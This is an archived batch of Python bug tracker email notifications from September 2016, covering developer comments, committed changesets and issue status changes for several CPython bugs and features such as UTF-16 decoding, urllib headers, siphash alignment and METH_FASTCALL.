In-Reply-To: <1473461811.01.0.594860974175.issue27971@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbv2TxuDWkZT4iLOS_mdZvX-_ABX6y-YM=J33p3WL0+WA@mail.gmail.com>


STINNER Victor added the comment:

> Considering the UTF-16 codec isn't self-consistent, it's a stretch to say it's not a bug.

I didn't say that it's not a bug. I said that it's not possible to
modify a codec at this point in Python 2.7 without taking a risk of
breaking applications relying on the current behaviour. Even in Python
3, we don't do such change in minor releases, but only in major
releases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:39:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 23:39:59 +0000
Subject: [issue25144] 3.5 Win install fails with "TARGETDIR"
In-Reply-To: <1442424932.17.0.0389991499722.issue25144@psf.upfronthosting.co.za>
Message-ID: <20160909233956.12375.76258.15AD011E@psf.io>


Roundup Robot added the comment:

New changeset 16d652760a06 by Steve Dower in branch '3.5':
Issue #25144: Ensures TargetDir is set before continuing with custom install.
https://hg.python.org/cpython/rev/16d652760a06

New changeset 024f3312ccee by Steve Dower in branch 'default':
Issue #25144: Ensures TargetDir is set before continuing with custom install.
https://hg.python.org/cpython/rev/024f3312ccee

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25144>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:40:57 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 23:40:57 +0000
Subject: [issue25144] 3.5 Win install fails with "TARGETDIR"
In-Reply-To: <1442424932.17.0.0389991499722.issue25144@psf.upfronthosting.co.za>
Message-ID: <1473464457.67.0.879606659674.issue25144@psf.upfronthosting.co.za>


Steve Dower added the comment:

I believe this change will fix it, or at least provide some more diagnostic info if it fails again. There doesn't seem to be any other way to trigger the install process without setting a target directory.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25144>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:42:24 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 23:42:24 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473464544.58.0.669455994318.issue28055@psf.upfronthosting.co.za>


Changes by Matthias Klose <doko at debian.org>:


Added file: http://bugs.python.org/file44515/pyhash.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:42:54 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 23:42:54 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473464574.03.0.210609780616.issue28055@psf.upfronthosting.co.za>


Changes by Matthias Klose <doko at debian.org>:


Removed file: http://bugs.python.org/file44514/pyhash.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:43:29 2016
From: report at bugs.python.org (Kenneth Reitz)
Date: Fri, 09 Sep 2016 23:43:29 +0000
Subject: [issue22450] urllib doesn't put Accept: */* in the headers
In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za>
Message-ID: <1473464609.02.0.816294643711.issue22450@psf.upfronthosting.co.za>


Kenneth Reitz added the comment:

I fully second Corey's comment.

----------
nosy: +kennethreitz

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22450>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:45:26 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 23:45:26 +0000
Subject: [issue22450] urllib doesn't put Accept: */* in the headers
In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za>
Message-ID: <20160909234523.1841.4488.EE054B6A@psf.io>


Roundup Robot added the comment:

New changeset 00da8bfa2a60 by Raymond Hettinger in branch '3.5':
Issue #22450: Use "Accept: */*" in the default headers for urllib.request
https://hg.python.org/cpython/rev/00da8bfa2a60

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22450>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:45:30 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 23:45:30 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473464730.73.0.415426220836.issue28055@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Good catch! I had trouble with the data structures in the TZ module before.

I'm fine with memcpy() on just ARM platforms as a temporary workaround. Let's discuss the issue another time. Right now I'm busy with ssl improvements for 3.6.0b1.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:46:16 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 09 Sep 2016 23:46:16 +0000
Subject: [issue22450] urllib doesn't put Accept: */* in the headers
In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za>
Message-ID: <1473464776.23.0.757038352775.issue22450@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22450>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:48:48 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Fri, 09 Sep 2016 23:48:48 +0000
Subject: [issue22450] urllib doesn't put Accept: */* in the headers
In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za>
Message-ID: <1473464928.43.0.769323025671.issue22450@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

@Martin, I weight in 'curl's behavior for de-facto things that differ slightly from standards. It's simply what folks have gotten used to, and sometimes expect.

@Raymond, unit-tests will be a good addition too.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22450>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:54:01 2016
From: report at bugs.python.org (David Bolen)
Date: Fri, 09 Sep 2016 23:54:01 +0000
Subject: [issue28039] x86 Tiger buildbot needs __future__ with_statement
In-Reply-To: <1473407641.18.0.0923940651973.issue28039@psf.upfronthosting.co.za>
Message-ID: <1473465241.04.0.128239700956.issue28039@psf.upfronthosting.co.za>


David Bolen added the comment:

I've bumped the tiger default python to 2.7.12 and updated hg to use it (bumping to 3.9.1 in the process).  It appears to have fixed the current touch and compile errors.  I've restarted builds for the most recent commits.

The need for a tiger slave is still up for debate, but can be separate from this issue.

-- David

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28039>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:01:07 2016
From: report at bugs.python.org (Seif Elsallamy)
Date: Sat, 10 Sep 2016 00:01:07 +0000
Subject: [issue27951] the reply's additional "Re:" is ok
In-Reply-To: <1473449128.55.0.309941965404.issue27951@psf.upfronthosting.co.za>
Message-ID: <820960119.1969468.1473465662573@mail.yahoo.com>


Seif Elsallamy added the comment:

I'm sorry i sent it by mistake you can close it 

    On Friday, September 9, 2016 9:25 PM, SilentGhost <report at bugs.python.org> wrote:

Changes by SilentGhost <ghost.adh at runbox.com>:

----------
resolution:? -> not a bug
stage: test needed -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27951>
_______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27951>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:01:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 00:01:35 +0000
Subject: [issue27976] Deprecate building with bundled copy of libffi on
 non-Darwin POSIX platforms
In-Reply-To: <1473184582.63.0.0787669758902.issue27976@psf.upfronthosting.co.za>
Message-ID: <20160910000132.48474.8895.5BE15D1D@psf.io>


Roundup Robot added the comment:

New changeset 3e02187e50df by Zachary Ware in branch 'default':
Closes #27976: Deprecate bundled full copy of libffi
https://hg.python.org/cpython/rev/3e02187e50df

----------
nosy: +python-dev
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27976>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:07:04 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 10 Sep 2016 00:07:04 +0000
Subject: [issue17394] Add slicing support to collections.deque
In-Reply-To: <1362972021.66.0.443403979058.issue17394@psf.upfronthosting.co.za>
Message-ID: <1473466024.66.0.848262286434.issue17394@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> If no, you can just close it.

Yes, I would rather close this than apply this patch.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17394>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:10:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 00:10:00 +0000
Subject: [issue14977] mailcap does not respect precedence in the presence of
 wildcards
In-Reply-To: <1338542933.25.0.233529643572.issue14977@psf.upfronthosting.co.za>
Message-ID: <20160910000957.21256.5815.F703CE53@psf.io>


Roundup Robot added the comment:

New changeset f1bf0abcca0c by R David Murray in branch '3.5':
#14977: Make mailcap respect the order of the lines in the mailcap file.
https://hg.python.org/cpython/rev/f1bf0abcca0c

New changeset efd692c86429 by R David Murray in branch 'default':
Merge: #14977: Make mailcap respect the order of the lines in the mailcap file.
https://hg.python.org/cpython/rev/efd692c86429

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14977>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:10:59 2016
From: report at bugs.python.org (R. David Murray)
Date: Sat, 10 Sep 2016 00:10:59 +0000
Subject: [issue14977] mailcap does not respect precedence in the presence of
 wildcards
In-Reply-To: <1338542933.25.0.233529643572.issue14977@psf.upfronthosting.co.za>
Message-ID: <1473466259.96.0.184209978321.issue14977@psf.upfronthosting.co.za>


R. David Murray added the comment:

Thanks, Michael.  I didn't see anything that needed updating in the docs.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14977>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:14:27 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Sat, 10 Sep 2016 00:14:27 +0000
Subject: [issue27268] Incorrect error message on float('')
In-Reply-To: <1465396464.66.0.148764915141.issue27268@psf.upfronthosting.co.za>
Message-ID: <1473466467.16.0.894593319199.issue27268@psf.upfronthosting.co.za>


Changes by ?ukasz Langa <lukasz at langa.pl>:


----------
dependencies: +Strings passed to KeyError do not round trip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27268>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:15:37 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 00:15:37 +0000
Subject: [issue27951] the reply's additional "Re:" is ok
In-Reply-To: <1473039030.13.0.589267107728.issue27951@psf.upfronthosting.co.za>
Message-ID: <1473466537.94.0.632502814674.issue27951@psf.upfronthosting.co.za>


Martin Panter added the comment:

All good, it?s already closed. Thanks for clarifying!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27951>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:20:57 2016
From: report at bugs.python.org (Eric Snow)
Date: Sat, 10 Sep 2016 00:20:57 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473466857.35.0.164876514349.issue28007@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
assignee:  -> eric.snow

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:28:59 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Sat, 10 Sep 2016 00:28:59 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473467339.78.0.861082335395.issue28055@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

I believe the unaligned memory access configure check is supposed to prevent siphash from being used, so we might look into why that's not working.

IMO, though, we should just require alignment for the argument to _PyHash_Bytes. It's private after all.

----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:30:02 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 00:30:02 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473467401.99.0.489305764964.issue1602@psf.upfronthosting.co.za>


Martin Panter added the comment:

Okay so regarding blocking reads with a full buffer, what you are saying is the second check to break the read loop should be sufficient:

+/* If the buffer ended with a newline, break out */
+if (buf[*readlen - 1] == '\n')
+    break;

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:34:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 00:34:06 +0000
Subject: [issue25758] ensurepip/venv broken on Windows if path includes unicode
In-Reply-To: <1448704613.06.0.448553989281.issue25758@psf.upfronthosting.co.za>
Message-ID: <20160910003359.19423.65208.B8F14DAA@psf.io>


Roundup Robot added the comment:

New changeset 663a62bcf9c9 by Steve Dower in branch '3.5':
Issue #25758: Prevents zipimport from unnecessarily encoding a filename (patch by Eryk Sun)
https://hg.python.org/cpython/rev/663a62bcf9c9

New changeset ead30e7262d5 by Steve Dower in branch 'default':
Issue #25758: Prevents zipimport from unnecessarily encoding a filename (patch by Eryk Sun)
https://hg.python.org/cpython/rev/ead30e7262d5

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25758>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:35:46 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 00:35:46 +0000
Subject: [issue25758] ensurepip/venv broken on Windows if path includes unicode
In-Reply-To: <1448704613.06.0.448553989281.issue25758@psf.upfronthosting.co.za>
Message-ID: <1473467746.59.0.40668659631.issue25758@psf.upfronthosting.co.za>


Steve Dower added the comment:

Applied Eryk's patch and updated the test to repro it (though it wouldn't repro on 3.6 with PEP 529 applied, but it definitely did on 3.5).

----------
assignee:  -> steve.dower
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25758>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:36:58 2016
From: report at bugs.python.org (R. David Murray)
Date: Sat, 10 Sep 2016 00:36:58 +0000
Subject: [issue27931] Email parse IndexError <""@wiarcom.com>
In-Reply-To: <1472743779.07.0.918992764498.issue27931@psf.upfronthosting.co.za>
Message-ID: <1473467818.18.0.377205617722.issue27931@psf.upfronthosting.co.za>


R. David Murray added the comment:

Reviewed.  There is something else that needs fixing.  The address needs to re-render as ""@wiarcom.com, which it doesn't currently.  I scanned the rendering code in _header_value_registry quickly and its not obvious to me why it doesn't work, so it may be a bug in the headerregistry.Address object.  I'm uploading the patch with the added test.

----------
Added file: http://bugs.python.org/file44516/issue27931.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27931>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:44:09 2016
From: report at bugs.python.org (Matthias Klose)
Date: Sat, 10 Sep 2016 00:44:09 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473468249.57.0.539489470286.issue28027@psf.upfronthosting.co.za>


Matthias Klose added the comment:

"It's a matter of maintenance burden". No I don't think so.

As agreed on IRC with zware, I'll restore the removed modules, including a deprecation notice.

----------
assignee: zach.ware -> doko
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:55:30 2016
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 10 Sep 2016 00:55:30 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473468930.63.0.684331129423.issue28027@psf.upfronthosting.co.za>


Zachary Ware added the comment:

"Agreed" is a bit strong, I still don't agree that the change was bad or should be reverted.  I'm just not ruling out the possibility of a partial (because there is absolutely no reason to re-add the files for any platform but Linux and *maybe* OSX) reversion if you put forth the effort to do it after #28046 and add deprecation notice.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:56:45 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 00:56:45 +0000
Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions
In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za>
Message-ID: <1473469005.75.0.599132715973.issue27810@psf.upfronthosting.co.za>


STINNER Victor added the comment:

fastcall.patch combines two changes:

changeset:   103513:74abb8ddf7f2
tag:         tip
user:        Victor Stinner <victor.stinner at gmail.com>
date:        Fri Sep 09 17:40:38 2016 -0700
files:       Include/modsupport.h Python/getargs.c Tools/clinic/clinic.py
description:
Emit METH_FASTCALL code in Argument Clinic

Issue #27810:

* Modify vgetargskeywordsfast() to work on a C array of PyObject* rather than
  working on a tuple directly.
* Add _PyArg_ParseStack()
* Argument Clinic now emits code using the new METH_FASTCALL calling convention


changeset:   103512:d55abcddd194
user:        Victor Stinner <victor.stinner at gmail.com>
date:        Fri Sep 09 17:40:22 2016 -0700
files:       Include/abstract.h Include/methodobject.h Objects/abstract.c Objects/methodobject.c
description:
Add METH_FASTCALL calling convention

Issue #27810: Add a new calling convention for C functions:

    PyObject* func(PyObject *self, PyObject **args,
                   Py_ssize_t nargs, PyObject *kwnames);

Where args is a C array of positional arguments followed by values of keyword
arguments. nargs is the number of positional arguments, kwnames are keys of
keyword arguments. kwnames can be NULL.

----------
keywords: +patch
Added file: http://bugs.python.org/file44517/fastcall.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27810>
_______________________________________

From report at bugs.python.org  Fri Sep  9 20:59:46 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 00:59:46 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473469186.03.0.155976623269.issue28027@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Sorry, I'm leaving this discussion now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:00:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 01:00:06 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <20160910010003.2574.78271.F723D734@psf.io>


Roundup Robot added the comment:

New changeset 90396ec9a2f8 by Zachary Ware in branch 'default':
Issue #28046: Remove platform-specific directories from sys.path
https://hg.python.org/cpython/rev/90396ec9a2f8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:01:38 2016
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 10 Sep 2016 01:01:38 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473469298.78.0.727402274029.issue28046@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Xavier: I'm still interested in hearing whether this breaks anything for you, but I went ahead and pushed it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:05:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 01:05:25 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <20160910010522.21076.57097.BA65C73F@psf.io>


Roundup Robot added the comment:

New changeset 384c178cf823 by Steve Dower in branch '3.5':
Issue #27932: Fixes memory leak in platform.win32_ver()
https://hg.python.org/cpython/rev/384c178cf823

New changeset 31b7eaff5588 by Steve Dower in branch 'default':
Issue #27932: Fixes memory leak in platform.win32_ver()
https://hg.python.org/cpython/rev/31b7eaff5588

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:06:01 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 01:06:01 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <1473469561.42.0.474790026578.issue27932@psf.upfronthosting.co.za>


Steve Dower added the comment:

I fixed in 3.5 and 3.6, but I'm not set up for 2.7 so someone will have to backport it.

----------
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:07:27 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 10 Sep 2016 01:07:27 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>
Message-ID: <1473469647.7.0.405261173558.issue27971@psf.upfronthosting.co.za>


Eryk Sun added the comment:

I wasn't trying to put words in your mouth, Victor. I was replying to Terry (msg275406).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:08:38 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 01:08:38 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
In-Reply-To: <1473327094.5.0.11690995505.issue28017@psf.upfronthosting.co.za>
Message-ID: <1473469718.89.0.35886900963.issue28017@psf.upfronthosting.co.za>


Martin Panter added the comment:

For the record (and my curiosity) I think the header file was fixed in 2014:
https://git.kernel.org/cgit/bluetooth/bluez.git/commit?id=cf52a40

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:09:10 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 10 Sep 2016 01:09:10 +0000
Subject: [issue25969] Update lib2to3 grammar to include missing unpacking
 generalizations.
In-Reply-To: <1451340978.99.0.13064674256.issue25969@psf.upfronthosting.co.za>
Message-ID: <1473469750.91.0.0610230953283.issue25969@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44518/issue25969-gps01.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25969>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:12:51 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sat, 10 Sep 2016 01:12:51 +0000
Subject: [issue27593] Deprecate sys._mercurial and create sys._git
In-Reply-To: <1469223805.51.0.614192375682.issue27593@psf.upfronthosting.co.za>
Message-ID: <1473469971.96.0.628923934544.issue27593@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Get the current branch: `git rev-parse --abbrev-ref HEAD`

----------
assignee:  -> brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27593>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:13:43 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sat, 10 Sep 2016 01:13:43 +0000
Subject: [issue27593] Deprecate sys._mercurial and create sys._git
In-Reply-To: <1469223805.51.0.614192375682.issue27593@psf.upfronthosting.co.za>
Message-ID: <1473470023.07.0.570269554623.issue27593@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Get the current revision: `git rev-parse HEAD`

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27593>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:20:14 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 01:20:14 +0000
Subject: [issue25969] Update lib2to3 grammar to include missing unpacking
 generalizations.
In-Reply-To: <1451340978.99.0.13064674256.issue25969@psf.upfronthosting.co.za>
Message-ID: <20160910012011.59525.8683.45DAC630@psf.io>


Roundup Robot added the comment:

New changeset 1206c64de875 by Gregory P. Smith in branch '3.5':
Issue #25969: Update the lib2to3 grammar to handle the unpacking
https://hg.python.org/cpython/rev/1206c64de875

New changeset 2460b30c1985 by Gregory P. Smith in branch 'default':
Issue #25969: Update the lib2to3 grammar to handle the unpacking
https://hg.python.org/cpython/rev/2460b30c1985

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25969>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:20:53 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 10 Sep 2016 01:20:53 +0000
Subject: [issue25969] Update lib2to3 grammar to include missing unpacking
 generalizations.
In-Reply-To: <1451340978.99.0.13064674256.issue25969@psf.upfronthosting.co.za>
Message-ID: <1473470453.55.0.279024160602.issue25969@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
versions:  -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25969>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:25:42 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 01:25:42 +0000
Subject: [issue27705] Updating old C:/Windows/System32/ucrtbased.dll
In-Reply-To: <1470603749.52.0.375133152623.issue27705@psf.upfronthosting.co.za>
Message-ID: <20160910012539.69505.59822.A9504FD7@psf.io>


Roundup Robot added the comment:

New changeset 7f7a994bbfbc by Steve Dower in branch '3.5':
Issue #27705: Update message in validate_ucrtbase.py
https://hg.python.org/cpython/rev/7f7a994bbfbc

New changeset a791a54c0a1c by Steve Dower in branch 'default':
Issue #27705: Update message in validate_ucrtbase.py
https://hg.python.org/cpython/rev/a791a54c0a1c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27705>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:27:46 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 01:27:46 +0000
Subject: [issue27705] Updating old C:/Windows/System32/ucrtbased.dll
In-Reply-To: <1470603749.52.0.375133152623.issue27705@psf.upfronthosting.co.za>
Message-ID: <1473470866.93.0.619766137323.issue27705@psf.upfronthosting.co.za>


Steve Dower added the comment:

The message now calls out the Windows 10 SDK specifically, and includes the (current) link to the download.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27705>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:29:12 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 01:29:12 +0000
Subject: [issue27890] platform.release() incorrect in Python 3.5.2 on Windows
 2008ServerR2
In-Reply-To: <1472517244.47.0.778989197753.issue27890@psf.upfronthosting.co.za>
Message-ID: <1473470952.11.0.98417332702.issue27890@psf.upfronthosting.co.za>


Steve Dower added the comment:

Fixed on issue26513

----------
assignee:  -> steve.dower
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27890>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:31:15 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 01:31:15 +0000
Subject: [issue18199] Windows: support path longer than 260 bytes using "\\?\"
 prefix
In-Reply-To: <1371050681.12.0.381093438517.issue18199@psf.upfronthosting.co.za>
Message-ID: <1473471075.18.0.0798580177104.issue18199@psf.upfronthosting.co.za>


Steve Dower added the comment:

Given that Windows 10 already supports this without us having to do the processing ourselves (see issue27731), I don't see us implementing this.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18199>
_______________________________________

From report at bugs.python.org  Fri Sep  9 21:33:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 01:33:53 +0000
Subject: [issue25969] Update lib2to3 grammar to include missing unpacking
 generalizations.
